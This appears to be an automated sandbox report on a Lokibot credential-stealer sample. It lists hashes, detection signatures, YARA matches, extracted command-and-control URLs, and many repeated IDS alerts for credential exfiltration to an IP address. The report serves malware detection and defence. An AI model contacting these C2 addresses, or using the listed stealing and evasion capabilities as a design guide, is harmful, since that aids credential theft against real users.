Play interactive tour

Edit tour

Analysis Report Conan Fegan - Aluminium.exe

Overview

General Information

Sample Name:	Conan Fegan - Aluminium.exe
Analysis ID:	356211
MD5:	708ee64939578fbb07010e20f6c7672c
SHA1:	335dc9a9142b528848b8446be2afda844f6d673f
SHA256:	f1a43d8b49bda3c88eb1c314c9460a92c0b467ea8db4c9086ac8e3bfe358e511
Tags:	Loki
Most interesting Screenshot:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected AntiVM_3

Yara detected Lokibot

.NET source code contains potential unpacker

.NET source code contains very large strings

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Machine Learning detection for sample

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Tries to steal Mail credentials (via file registry)

Yara detected aPLib compressed binary

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Startup

System is w10x64

Conan Fegan - Aluminium.exe (PID: 4748 cmdline: 'C:\Users\user\Desktop\Conan Fegan - Aluminium.exe' MD5: 708EE64939578FBB07010E20F6C7672C)

Conan Fegan - Aluminium.exe (PID: 7008 cmdline: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe MD5: 708EE64939578FBB07010E20F6C7672C)

cleanup

Malware Configuration

Threatname: Lokibot

{"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "https://www.ritcophysiotherapy.com.au/wap121/five/fre.php"]}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.901084712.000000000121A000.00000004.00000001.sdmp	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security
00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.651632346.0000000003D09000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x1d6f8f:$des3: 68 03 66 00 00 0x1db380:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1db44c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
00000005.00000002.900810400.0000000000400000.00000040.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x1a3917:$des3: 68 03 66 00 00 0x1a7d14:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x1a7de0:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Process Memory Space: Conan Fegan - Aluminium.exe PID: 7008	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Conan Fegan - Aluminium.exe PID: 7008	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: Conan Fegan - Aluminium.exe PID: 7008	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Process Memory Space: Conan Fegan - Aluminium.exe PID: 4748	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Conan Fegan - Aluminium.exe PID: 4748	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
Process Memory Space: Conan Fegan - Aluminium.exe PID: 4748	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack	Loki_1	Loki Payload	kevoreilly	0xa3864:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0xa3aac:$a2: last_compatible_version
0.2.Conan Fegan - Aluminium.exe.3e3d4e0.2.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0xa2aaf:$des3: 68 03 66 00 00 0xa6ea0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0xa6f6c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Conan Fegan - Aluminium.exe.3eccf90.3.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Conan Fegan - Aluminium.exe.3eccf90.3.unpack	Loki_1	Loki Payload	kevoreilly	0x131b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x133fc:$a2: last_compatible_version
0.2.Conan Fegan - Aluminium.exe.3eccf90.3.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x123ff:$des3: 68 03 66 00 00 0x15ff0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x160bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
5.2.Conan Fegan - Aluminium.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.Conan Fegan - Aluminium.exe.400000.0.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
5.2.Conan Fegan - Aluminium.exe.400000.0.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
5.2.Conan Fegan - Aluminium.exe.400000.0.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
5.2.Conan Fegan - Aluminium.exe.400000.0.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x151b4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x153fc:$a2: last_compatible_version
5.2.Conan Fegan - Aluminium.exe.400000.0.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x13bff:$des3: 68 03 66 00 00 0x187f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x188bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x13db4:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x13ffc:$a2: last_compatible_version
0.2.Conan Fegan - Aluminium.exe.3eccf90.3.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x12fff:$des3: 68 03 66 00 00 0x173f0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x174bc:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0x142538:$s1: http:// 0x145cf3:$s1: http:// 0x142540:$s2: https:// 0x14674c:$s2: \x97\x8B\x8B\x8F\x8C\xC5\xD0\xD0 0x142538:$f1: http:// 0x145cf3:$f1: http:// 0x142540:$f2: https://
0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack	Loki_1	Loki Payload	kevoreilly	0x142474:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0x1426bc:$a2: last_compatible_version
0.2.Conan Fegan - Aluminium.exe.2d63264.1.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0x1416b3:$des3: 68 03 66 00 00 0x145ab0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0x145b7c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack	JoeSecurity_aPLib_compressed_binary	Yara detected aPLib compressed binary	Joe Security
0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack	JoeSecurity_Lokibot	Yara detected Lokibot	Joe Security
0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack	Loki_1	Loki Payload	kevoreilly	0xe5284:$a1: DlRycq1tP2vSeaogj5bEUFzQiHT9dmKCn6uf7xsOY0hpwr43VINX8JGBAkLMZW 0xe54cc:$a2: last_compatible_version
0.2.Conan Fegan - Aluminium.exe.3dfbac0.4.raw.unpack	Lokibot	detect Lokibot in memory	JPCERT/CC Incident Response Group	0xe44cf:$des3: 68 03 66 00 00 0xe88c0:$param: MAC=%02X%02X%02XINSTALL=%08X%08X 0xe898c:$string: 2D 00 75 00 00 00 46 75 63 6B 61 76 2E 72 75 00 00
Click to see the 30 entries

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: Conan Fegan - Aluminium.exe

Avira: detected

Found malware configuration

Show sources

Source: 00000000.00000002.651436438.0000000002D01000.00000004.00000001.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "https://www.ritcophysiotherapy.com.au/wap121/five/fre.php"]}

Machine Learning detection for sample

Show sources

Source: Conan Fegan - Aluminium.exe

Joe Sandbox ML: detected

Compliance:

Uses 32bit PE files

Show sources

Source: Conan Fegan - Aluminium.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Contains modern PE file flags such as dynamic base (ASLR) or NX

Show sources

Source: Conan Fegan - Aluminium.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Spreading:

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe

Code function: 5_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

5_2_00403D74

Software Vulnerabilities:

Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	0_2_07A3DE28
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 4x nop then jmp 07A3C2B3h	0_2_07A3C1FF
Source: C:\Users\user\Desktop\Conan Fegan - Aluminium.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	0_2_07A3DF24

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.4:49745 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49745 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49745 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024312 ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 192.168.2.4:49747 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49747 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49747 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49749 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49749 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49749 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49750 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49750 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49750 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49751 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49751 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49751 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49752 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49752 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49752 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49753 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49753 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49753 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49754 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49754 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49754 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49755 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49755 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49755 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49756 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49756 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49756 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49757 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49757 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49757 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49758 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49758 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49758 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49759 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49759 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49759 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49760 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49760 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49760 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49763 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49763 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49763 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49764 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49764 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49764 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49765 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49765 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49765 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49766 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49766 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49766 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49767 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49767 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49767 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49768 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49768 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49768 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49769 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49769 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49769 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49770 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49770 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49770 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49771 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49771 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49771 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49772 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49772 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49772 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49773 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49773 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49773 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49774 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49774 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49774 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49777 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49777 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49777 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49781 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49781 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49781 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49784 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49784 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49784 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49788 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49788 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49788 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49790 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49790 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49790 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49792 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49792 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49792 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49793 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49793 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49793 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49794 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49794 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2025381 ET TROJAN LokiBot Checkin 192.168.2.4:49794 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2024313 ET TROJAN LokiBot Request for C2 Commands Detected M1 192.168.2.4:49795 -> 203.170.84.89:80
Source: Traffic	Snort IDS: 2021641 ET TROJAN LokiBot User-Agent (Charon/Inferno) 192.168.2.4:49795 -> 203.170.84.89:80
